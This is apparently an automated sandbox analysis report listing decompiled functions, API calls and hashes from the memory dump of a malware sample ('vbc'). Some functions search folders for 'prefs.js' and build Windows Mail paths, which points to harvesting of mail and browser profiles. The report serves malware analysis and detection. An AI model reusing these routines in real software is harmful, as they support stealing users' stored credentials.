                                                                                                              			E00411932() {
				intOrPtr _t1;
				intOrPtr _t2;
				intOrPtr _t3;
				intOrPtr _t4;

				_t1 =  *0x417528;
				if(_t1 != 0) {
					_push(_t1);
					L004115D6();
				}
				_t2 =  *0x417530;
				if(_t2 != 0) {
					_push(_t2);
					L004115D6();
				}
				_t3 =  *0x41752c;
				if(_t3 != 0) {
					_push(_t3);
					L004115D6();
				}
				_t4 =  *0x417534;
				if(_t4 != 0) {
					_push(_t4);
					L004115D6();
					return _t4;
				}
				return _t4;
			}







                                                                                                              0x00411932
                                                                                                              0x00411939
                                                                                                              0x0041193b
                                                                                                              0x0041193c
                                                                                                              0x00411941
                                                                                                              0x00411942
                                                                                                              0x00411949
                                                                                                              0x0041194b
                                                                                                              0x0041194c
                                                                                                              0x00411951
                                                                                                              0x00411952
                                                                                                              0x00411959
                                                                                                              0x0041195b
                                                                                                              0x0041195c
                                                                                                              0x00411961
                                                                                                              0x00411962
                                                                                                              0x00411969
                                                                                                              0x0041196b
                                                                                                              0x0041196c
                                                                                                              0x00000000
                                                                                                              0x00411971
                                                                                                              0x00411972

                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??3@
                                                                                                              • String ID:
                                                                                                              • API String ID: 613200358-0
                                                                                                              • Opcode ID: c60b5a137311dc3c1f41b8444531e2116de9d7887df7820993fac895b5b9f258
                                                                                                              • Instruction ID: d6dbe33ea61767d3fff50222484a645f5af73bc96bc71b3580d13e53834dfd00
                                                                                                              • Opcode Fuzzy Hash: c60b5a137311dc3c1f41b8444531e2116de9d7887df7820993fac895b5b9f258
                                                                                                              • Instruction Fuzzy Hash: E0E012B0319201A68E20AB7BBD40A9323AE2A44310354806FF206D2AB1DE38D8C0C63C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00406734 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 20stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00406734(char* __edi, char* _a4) {
				char* _t12;
				int _t13;

				_t12 = __edi;
				_t13 = strlen(__edi);
				if(strlen(_a4) + _t13 < 0x104) {
					_t2 =  &_a4; // 0x410d64
					strcat(_t13 + __edi,  *_t2);
				}
				return _t12;
			}





                                                                                                              0x00406734
                                                                                                              0x0040673f
                                                                                                              0x0040674f
                                                                                                              0x00406751
                                                                                                              0x00406758
                                                                                                              0x0040675e
                                                                                                              0x00406762

                                                                                                              APIs
                                                                                                              • strlen.MSVCRT ref: 00406736
                                                                                                              • strlen.MSVCRT ref: 00406741
                                                                                                              • strcat.MSVCRT(00000000,dA,0000001C,00410D64,\Microsoft\Windows Mail,?,?,?), ref: 00406758
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: strlen$strcat
                                                                                                              • String ID: dA
                                                                                                              • API String ID: 2335785903-82490789
                                                                                                              • Opcode ID: 8b0d949a9835eed74c78f3475c18959fb5a6152aa5369579c15a011cca720fff
                                                                                                              • Instruction ID: 8adb96eafe51badce5d1f431fd236154b3227263db9247bb640c15329514921a
                                                                                                              • Opcode Fuzzy Hash: 8b0d949a9835eed74c78f3475c18959fb5a6152aa5369579c15a011cca720fff
                                                                                                              • Instruction Fuzzy Hash: EFD05E3350852036C5152316BC429DE5B82CBC037CB15445FF609921A1E93D84D1859D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00402221 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 89%
                                                                                                              			E00402221(void* __ecx, intOrPtr _a4, char* _a8) {
				void* __ebx;
				intOrPtr _t22;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t32;
				void* _t36;
				signed short _t42;
				char* _t47;
				void* _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				void* _t57;

				_t22 = _a4;
				_t57 = _t22 - 6;
				_t47 = _a8;
				_t48 = __ecx;
				 *_t47 = 0;
				if(_t57 > 0) {
					_t23 = _t22 - 7;
					if(_t23 == 0) {
						return __ecx + 0x214;
					}
					_t25 = _t23 - 1;
					if(_t25 == 0) {
						return __ecx + 0x294;
					}
					_t27 = _t25 - 1;
					if(_t27 == 0) {
						return __ecx + 0x314;
					}
					_t29 = _t27 - 1;
					if(_t29 == 0) {
						_t49 =  *((intOrPtr*)(__ecx + 0x3a0));
						if(_t49 < 1 || _t49 > 7) {
							if(_t49 < 8 || _t49 > 0xe) {
								if(_t49 < 0xf || _t49 > 0x19) {
									if(_t49 < 0x1a || _t49 > 0x2d) {
										if(_t49 < 0x2e) {
											L16:
											return _t47;
										}
										_t42 = 0x519;
									} else {
										_t42 = 0x518;
									}
								} else {
									_t42 = 0x517;
								}
							} else {
								_t42 = 0x516;
							}
							goto L20;
						} else {
							_t42 = 0x515;
							L20:
							return E004078FF(_t42);
						}
					}
					_t32 = _t29 - 1;
					if(_t32 == 0) {
						return __ecx + 0x190;
					}
					if(_t32 != 1) {
						goto L16;
					}
					_t50 =  *((intOrPtr*)(__ecx + 0x39c));
					L14:
					if(_t50 != 0) {
						_push(0xa);
						_push(_t47);
						_push(_t50);
						L0041158E();
					}
					goto L16;
				}
				if(_t57 == 0) {
					_t42 =  *((intOrPtr*)(__ecx + 0x210)) + 0x320;
					goto L20;
				}
				if(_t22 == 0xfffffff6) {
					_t36 = E004078FF( *((intOrPtr*)(__ecx + 0x8c)) + 0x384);
					sprintf(_t47, "%s  %s  %s", E004078FF( *((intOrPtr*)(_t48 + 0x210)) + 0x320), _t48 + 0x110, _t36);
					goto L16;
				}
				if(_t22 == 0) {
					return __ecx + 0xc;
				}
				if(_t22 == 1) {
					_t42 =  *((intOrPtr*)(__ecx + 0x8c)) + 0x384;
					goto L20;
				}
				if(_t22 == 2) {
					return __ecx + 0x90;
				}
				if(_t22 == 3) {
					return __ecx + 0x110;
				}
				if(_t22 == 4) {
					_t50 =  *((intOrPtr*)(__ecx + 0x394));
					goto L14;
				}
				if(_t22 != 5) {
					goto L16;
				}
				if( *((intOrPtr*)(__ecx + 0x398)) == 0) {
					_push(0x10);
				} else {
					_push(0xf);
				}
				_pop(_t42);
				goto L20;
			}

















                                                                                                              0x00402221
                                                                                                              0x00402225
                                                                                                              0x0040222b
                                                                                                              0x0040222f
                                                                                                              0x00402231
                                                                                                              0x00402234
                                                                                                              0x00402312
                                                                                                              0x00402315
                                                                                                              0x00000000
                                                                                                              0x004023c2
                                                                                                              0x0040231b
                                                                                                              0x0040231c
                                                                                                              0x00000000
                                                                                                              0x004023ba
                                                                                                              0x00402322
                                                                                                              0x00402323
                                                                                                              0x00000000
                                                                                                              0x004023b2
                                                                                                              0x00402329
                                                                                                              0x0040232a
                                                                                                              0x00402349
                                                                                                              0x00402352
                                                                                                              0x00402366
                                                                                                              0x0040237a
                                                                                                              0x0040238e
                                                                                                              0x004023a2
                                                                                                              0x0040228e
                                                                                                              0x00000000
                                                                                                              0x0040228e
                                                                                                              0x004023a8
                                                                                                              0x00402395
                                                                                                              0x00402395
                                                                                                              0x00402395
                                                                                                              0x00402381
                                                                                                              0x00402381
                                                                                                              0x00402381
                                                                                                              0x0040236d
                                                                                                              0x0040236d
                                                                                                              0x0040236d
                                                                                                              0x00000000
                                                                                                              0x00402359
                                                                                                              0x00402359
                                                                                                              0x004022b7
                                                                                                              0x00000000
                                                                                                              0x004022b7
                                                                                                              0x00402352
                                                                                                              0x0040232c
                                                                                                              0x0040232d
                                                                                                              0x00000000
                                                                                                              0x00402341
                                                                                                              0x00402330
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00402336
                                                                                                              0x0040227e
                                                                                                              0x00402280
                                                                                                              0x00402282
                                                                                                              0x00402284
                                                                                                              0x00402285
                                                                                                              0x00402286
                                                                                                              0x0040228b
                                                                                                              0x00000000
                                                                                                              0x00402280
                                                                                                              0x0040223a
                                                                                                              0x0040230a
                                                                                                              0x00000000
                                                                                                              0x0040230a
                                                                                                              0x00402243
                                                                                                              0x004022d5
                                                                                                              0x004022fa
                                                                                                              0x00000000
                                                                                                              0x004022ff
                                                                                                              0x0040224b
                                                                                                              0x00000000
                                                                                                              0x004022c1
                                                                                                              0x00402250
                                                                                                              0x004022b1
                                                                                                              0x00000000
                                                                                                              0x004022b1
                                                                                                              0x00402255
                                                                                                              0x00000000
                                                                                                              0x004022a0
                                                                                                              0x0040225a
                                                                                                              0x00000000
                                                                                                              0x00402295
                                                                                                              0x0040225f
                                                                                                              0x00402278
                                                                                                              0x00000000
                                                                                                              0x00402278
                                                                                                              0x00402264
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040226d
                                                                                                              0x00402274
                                                                                                              0x0040226f
                                                                                                              0x0040226f
                                                                                                              0x0040226f
                                                                                                              0x00402271
                                                                                                              0x00000000

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _ultoasprintf
                                                                                                              • String ID: %s %s %s
                                                                                                              • API String ID: 432394123-3850900253
                                                                                                              • Opcode ID: 7ea893eb970b9f9c330beb309c0cc5b8cf8f56ebc8930b7fcefd01bde23561b2
                                                                                                              • Instruction ID: d9c328b9b741649d7ae815da5d558f3ae5f994b92098e95e7c9169487fd3f945
                                                                                                              • Opcode Fuzzy Hash: 7ea893eb970b9f9c330beb309c0cc5b8cf8f56ebc8930b7fcefd01bde23561b2
                                                                                                              • Instruction Fuzzy Hash: C4410932504B15C7C636956487CCBEBA264A742304F6508BFEC5AF72D1C2FCAD41976B
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040D37A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 89%
                                                                                                              			E0040D37A(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				char _v328;
				char _v652;
				char _v928;
				char _v1296;
				signed int _v1300;
				void* __esi;
				char* _t26;
				intOrPtr* _t43;

				_v1300 = _v1300 | 0xffffffff;
				_v1296 = 0;
				_v328 = 0;
				_v652 = 0;
				_t43 = __ecx;
				E00406E68( &_v1300, __eflags, "*.*", _a4);
				while(E00406EC3( &_v1300) != 0) {
					__eflags = E00406E2D( &_v1300);
					if(__eflags == 0) {
						__eflags = _a8 - 1;
						if(_a8 > 1) {
							_t26 =  &_v928;
							_push("prefs.js");
							_push(_t26);
							L004115B2();
							__eflags = _t26;
							if(_t26 == 0) {
								__eflags = E0040614B( &_v652);
								if(__eflags != 0) {
									E0040D1EC(_t43, __eflags,  &_v652);
								}
							}
						}
					} else {
						_a8 = _a8 + 1;
						E0040D37A(_t43, __eflags,  &_v652, _a8);
					}
				}
				E00406F5B( &_v1300);
				return 1;
			}











                                                                                                              0x0040d386
                                                                                                              0x0040d391
                                                                                                              0x0040d395
                                                                                                              0x0040d39c
                                                                                                              0x0040d3ac
                                                                                                              0x0040d3ae
                                                                                                              0x0040d418
                                                                                                              0x0040d3be
                                                                                                              0x0040d3c0
                                                                                                              0x0040d3d9
                                                                                                              0x0040d3dd
                                                                                                              0x0040d3df
                                                                                                              0x0040d3e6
                                                                                                              0x0040d3eb
                                                                                                              0x0040d3ec
                                                                                                              0x0040d3f1
                                                                                                              0x0040d3f5
                                                                                                              0x0040d404
                                                                                                              0x0040d407
                                                                                                              0x0040d413
                                                                                                              0x0040d413
                                                                                                              0x0040d407
                                                                                                              0x0040d3f5
                                                                                                              0x0040d3c2
                                                                                                              0x0040d3c2
                                                                                                              0x0040d3d2
                                                                                                              0x0040d3d2
                                                                                                              0x0040d3c0
                                                                                                              0x0040d429
                                                                                                              0x0040d435

                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: strlen$FileFindFirst
                                                                                                              • String ID: *.*$prefs.js
                                                                                                              • API String ID: 2516927864-1592826420
                                                                                                              • Opcode ID: 3e701ac251ef0c92007320573df48c8a58c02c849dde9726d81be77e97480d08
                                                                                                              • Instruction ID: f0fdac10561689b7590a9d658f3f63ad40faf00aab35cef1d8d79f75c7dff1a2
                                                                                                              • Opcode Fuzzy Hash: 3e701ac251ef0c92007320573df48c8a58c02c849dde9726d81be77e97480d08
                                                                                                              • Instruction Fuzzy Hash: 2711E731408349AAD720EAA5C8019DB77DC9F85324F00493FF869E21C1DB38E61E87AB
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00406680 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00406680(intOrPtr* __ebx, intOrPtr __ecx, char* __edi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v36;
				signed int _v44;
				intOrPtr _v48;
				char* _v52;
				intOrPtr _v56;
				signed int _v64;
				intOrPtr _v68;
				intOrPtr _v76;
				struct tagOFNA _v80;
				intOrPtr _t23;
				intOrPtr* _t33;
				intOrPtr _t34;
				char* _t38;

				_t38 = __edi;
				_t34 = __ecx;
				_t33 = __ebx;
				_t23 = 1;
				if(__ebx != 0) {
					_t23 =  *__ebx;
				}
				_v64 = _v64 & 0x00000000;
				_v44 = _v44 & 0x00000000;
				_v36 = _v36 & 0x00000000;
				_v56 = _t23;
				_v32 = _a8;
				_v20 = _a12;
				_v76 = _t34;
				_v80 = 0x4c;
				_v68 = _a4;
				_v52 = _t38;
				_v48 = 0x104;
				_v28 = 0x80806;
				if(GetSaveFileNameA( &_v80) == 0) {
					return 0;
				} else {
					if(_t33 != 0) {
						 *_t33 = _v56;
					}
					strcpy(_t38, _v52);
					return 1;
				}
			}



















                                                                                                              0x00406680
                                                                                                              0x00406680
                                                                                                              0x00406680
                                                                                                              0x00406688
                                                                                                              0x0040668b
                                                                                                              0x0040668d
                                                                                                              0x0040668d
                                                                                                              0x0040668f
                                                                                                              0x00406693
                                                                                                              0x00406697
                                                                                                              0x0040669b
                                                                                                              0x004066a1
                                                                                                              0x004066a7
                                                                                                              0x004066aa
                                                                                                              0x004066b4
                                                                                                              0x004066bb
                                                                                                              0x004066be
                                                                                                              0x004066c1
                                                                                                              0x004066c8
                                                                                                              0x004066d7
                                                                                                              0x004066f5
                                                                                                              0x004066d9
                                                                                                              0x004066db
                                                                                                              0x004066e0
                                                                                                              0x004066e0
                                                                                                              0x004066e6
                                                                                                              0x004066f1
                                                                                                              0x004066f1

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FileNameSavestrcpy
                                                                                                              • String ID: L
                                                                                                              • API String ID: 1182090483-2909332022
                                                                                                              • Opcode ID: 60ad435b05b414f2b30048372afc6468a300e5fb370a7e0e1bfb6bb36773f123
                                                                                                              • Instruction ID: a38c0b8f1c2b7ba0f1b8aa2faef71ae79cae630a3543d59e66951d479f2b4fd1
                                                                                                              • Opcode Fuzzy Hash: 60ad435b05b414f2b30048372afc6468a300e5fb370a7e0e1bfb6bb36773f123
                                                                                                              • Instruction Fuzzy Hash: 7F0125B1E102199FDF00CFA9D8807AEBBF8FF08319F10442AE915E6280DBB88915CF44
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040ADB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040ADB3(void* __ebx, void* __eflags) {
				char _v265;
				char _v526;
				char _v787;
				void _v1048;
				void _v3648;
				intOrPtr _v3652;
				char _v3660;
				void* _t30;

				_t30 = __ebx;
				_v3660 = 0x41300c;
				memset( &_v3648, 0, 0x10);
				_v1048 = 0;
				_v787 = 0;
				_v526 = 0;
				_v265 = 0;
				_v3652 = 0x6c;
				memcpy( &_v1048,  *((intOrPtr*)(__ebx + 0x370)) + 0xb20, 0x105 << 2);
				if(E00401596( &_v3660,  *((intOrPtr*)(__ebx + 0x108))) != 0) {
					E0040AD9D(memcpy( *((intOrPtr*)(__ebx + 0x370)) + 0xb20,  &_v1048, 0x105 << 2));
				}
				SetFocus( *( *((intOrPtr*)(_t30 + 0x370)) + 0x184));
				return E0040143D( &_v3660);
			}











                                                                                                              0x0040adb3
                                                                                                              0x0040adc9
                                                                                                              0x0040add3
                                                                                                              0x0040ade7
                                                                                                              0x0040adee
                                                                                                              0x0040adf5
                                                                                                              0x0040adfc
                                                                                                              0x0040ae03
                                                                                                              0x0040ae1e
                                                                                                              0x0040ae2d
                                                                                                              0x0040ae4a
                                                                                                              0x0040ae4a
                                                                                                              0x0040ae5b
                                                                                                              0x0040ae6f

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040ADD3
                                                                                                              • SetFocus.USER32 ref: 0040AE5B
                                                                                                                • Part of subcall function 0040AD9D: PostMessageA.USER32(?,00000415,00000000,00000000), ref: 0040ADAC
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FocusMessagePostmemset
                                                                                                              • String ID: l
                                                                                                              • API String ID: 3436799508-2517025534
                                                                                                              • Opcode ID: aeb443fdb5aee6ef7c028d3e89b28528cc274f3a7ebb19c8f17c9a74365f91d9
                                                                                                              • Instruction ID: a3aa1947760d1632b5ff20bf1b11b778d92a779fff19439862dc3abef3b95f30
                                                                                                              • Opcode Fuzzy Hash: aeb443fdb5aee6ef7c028d3e89b28528cc274f3a7ebb19c8f17c9a74365f91d9
                                                                                                              • Instruction Fuzzy Hash: 1011A1719002589BDF21AB14CC047CA7BAAAF80308F0804F5A94C7B292C7B55B88CFA9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00408441 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00408441(void** __esi, struct HWND__* _a4) {
				long _v12;
				signed int _v24;
				signed int _v28;
				short _v32;
				void* _v40;
				long _t17;
				short* _t23;
				int _t24;
				void** _t25;

				_t25 = __esi;
				_t24 = 0;
				if(_a4 != 0) {
					_t17 = memset( *__esi, 0, __esi[1] << 2);
					if(__esi[1] > 0) {
						do {
							_v28 = _v28 & 0x00000000;
							_v24 = _v24 & 0x00000000;
							_t23 =  *_t25 + _t24 * 4;
							_v40 = 0x22;
							_t17 = SendMessageA(_a4, 0x1019, _t24,  &_v40);
							if(_t17 != 0) {
								 *_t23 = _v32;
								_t17 = _v12;
								 *(_t23 + 2) = _t17;
							}
							_t24 = _t24 + 1;
						} while (_t24 < _t25[1]);
					}
				}
				return _t17;
			}












                                                                                                              0x00408441
                                                                                                              0x00408449
                                                                                                              0x0040844e
                                                                                                              0x0040845a
                                                                                                              0x00408465
                                                                                                              0x00408467
                                                                                                              0x00408469
                                                                                                              0x0040846d
                                                                                                              0x00408471
                                                                                                              0x00408481
                                                                                                              0x00408488
                                                                                                              0x00408490
                                                                                                              0x00408496
                                                                                                              0x00408499
                                                                                                              0x0040849d
                                                                                                              0x0040849d
                                                                                                              0x004084a1
                                                                                                              0x004084a2
                                                                                                              0x00408467
                                                                                                              0x00408465
                                                                                                              0x004084aa

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: MessageSendmemset
                                                                                                              • String ID: "
                                                                                                              • API String ID: 568519121-123907689
                                                                                                              • Opcode ID: 34401dede8e385bb68c53d7b6caaa6400c7ccd3c24b43ec3f913943d5d854be5
                                                                                                              • Instruction ID: 3d4b9897b9e590d379032152458179bae83636b6f0047c21005e3f982915147a
                                                                                                              • Opcode Fuzzy Hash: 34401dede8e385bb68c53d7b6caaa6400c7ccd3c24b43ec3f913943d5d854be5
                                                                                                              • Instruction Fuzzy Hash: 4F01D635900205AFDB20CF95C941EAFB7F8FF84759F10842EE891AA240E738DA85CB75
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00406618 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00406618(intOrPtr __eax, char* __esi, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr _v48;
				char* _v52;
				intOrPtr _v56;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v76;
				struct tagOFNA _v80;

				_v76 = __eax;
				_v68 = _a4;
				_v64 = 0;
				_v44 = 0;
				_v36 = 0;
				_v32 = _a8;
				_v80 = 0x4c;
				_v56 = 1;
				_v52 = __esi;
				_v48 = 0x104;
				_v28 = 0x81804;
				_v20 = 0x413008;
				if(GetOpenFileNameA( &_v80) == 0) {
					return 0;
				} else {
					strcpy(__esi, _v52);
					return 1;
				}
			}















                                                                                                              0x0040661e
                                                                                                              0x00406624
                                                                                                              0x00406629
                                                                                                              0x0040662c
                                                                                                              0x0040662f
                                                                                                              0x00406635
                                                                                                              0x0040663c
                                                                                                              0x00406643
                                                                                                              0x0040664a
                                                                                                              0x0040664d
                                                                                                              0x00406654
                                                                                                              0x0040665b
                                                                                                              0x0040666a
                                                                                                              0x0040667f
                                                                                                              0x0040666c
                                                                                                              0x00406670
                                                                                                              0x0040667b
                                                                                                              0x0040667b

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FileNameOpenstrcpy
                                                                                                              • String ID: L
                                                                                                              • API String ID: 812585365-2909332022
                                                                                                              • Opcode ID: 005d7a4cd57d0344050e2e978546a456973b8179e79084affb1262c5eec5662a
                                                                                                              • Instruction ID: 13dc2997c8553d865726dff807e233ea18e6c60b58d53e24b26ad6de5975139e
                                                                                                              • Opcode Fuzzy Hash: 005d7a4cd57d0344050e2e978546a456973b8179e79084affb1262c5eec5662a
                                                                                                              • Instruction Fuzzy Hash: 5201B2B1D10218AFCF40DFA9D8456CEBFF8BB08308F00812AE519E6240E7B886458F98
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407BB9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • LoadMenuA.USER32 ref: 00407BC1
                                                                                                              • sprintf.MSVCRT ref: 00407BE4
                                                                                                                • Part of subcall function 00407A64: GetMenuItemCount.USER32(?), ref: 00407A7A
                                                                                                                • Part of subcall function 00407A64: memset.MSVCRT ref: 00407A9E
                                                                                                                • Part of subcall function 00407A64: GetMenuItemInfoA.USER32 ref: 00407AD4
                                                                                                                • Part of subcall function 00407A64: memset.MSVCRT ref: 00407B01
                                                                                                                • Part of subcall function 00407A64: strchr.MSVCRT ref: 00407B0D
                                                                                                                • Part of subcall function 00407A64: strcat.MSVCRT(?,?,?,?,?,00000001,?), ref: 00407B68
                                                                                                                • Part of subcall function 00407A64: ModifyMenuA.USER32(?,?,00000400,?,?), ref: 00407B84
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Menu$Itemmemset$CountInfoLoadModifysprintfstrcatstrchr
                                                                                                              • String ID: menu_%d
                                                                                                              • API String ID: 3671758413-2417748251
                                                                                                              • Opcode ID: e0b27bc8312c4869803a1ee04920a3f9795f2512d2491c73ec6fe14da36cbe17
                                                                                                              • Instruction ID: 3be60505ea2565ef11dfa3f51dd36ce0e69a3f53bb310b440500eec60165980c
                                                                                                              • Opcode Fuzzy Hash: e0b27bc8312c4869803a1ee04920a3f9795f2512d2491c73ec6fe14da36cbe17
                                                                                                              • Instruction Fuzzy Hash: 9FD01D71A4D14037D72033356D09FCF19794BD3B15F5440A9F200722D1D57C5755857D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00406325 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00406325(char* _a4) {

				if( *0x417550 == 0) {
					 *0x417658 = GetWindowsDirectoryA(0x417550, 0x104);
				}
				strcpy(_a4, 0x417550);
				return  *0x417658;
			}



                                                                                                              0x00406332
                                                                                                              0x00406340
                                                                                                              0x00406340
                                                                                                              0x0040634a
                                                                                                              0x00406357

                                                                                                              APIs
                                                                                                              • GetWindowsDirectoryA.KERNEL32(00417550,00000104,?,0040E228,00000000,?,00000000,00000104,00000104), ref: 0040633A
                                                                                                              • strcpy.MSVCRT(00000000,00417550,?,0040E228,00000000,?,00000000,00000104,00000104), ref: 0040634A
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: DirectoryWindowsstrcpy
                                                                                                              • String ID: PuA
                                                                                                              • API String ID: 531766897-3228437271
                                                                                                              • Opcode ID: b1972f0ba22637c8055687d42c6acbfd742ac988b9f6313726f8896cebb56ee7
                                                                                                              • Instruction ID: dc620c75b08fae7ca861cc569808ec9e0c9c78cdcec5c9dc17d9b47d99426002
                                                                                                              • Opcode Fuzzy Hash: b1972f0ba22637c8055687d42c6acbfd742ac988b9f6313726f8896cebb56ee7
                                                                                                              • Instruction Fuzzy Hash: D2D0A77184E2907FE3015728BC45AC63FB5DB05330F10807BF508A25A0E7741C90879C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

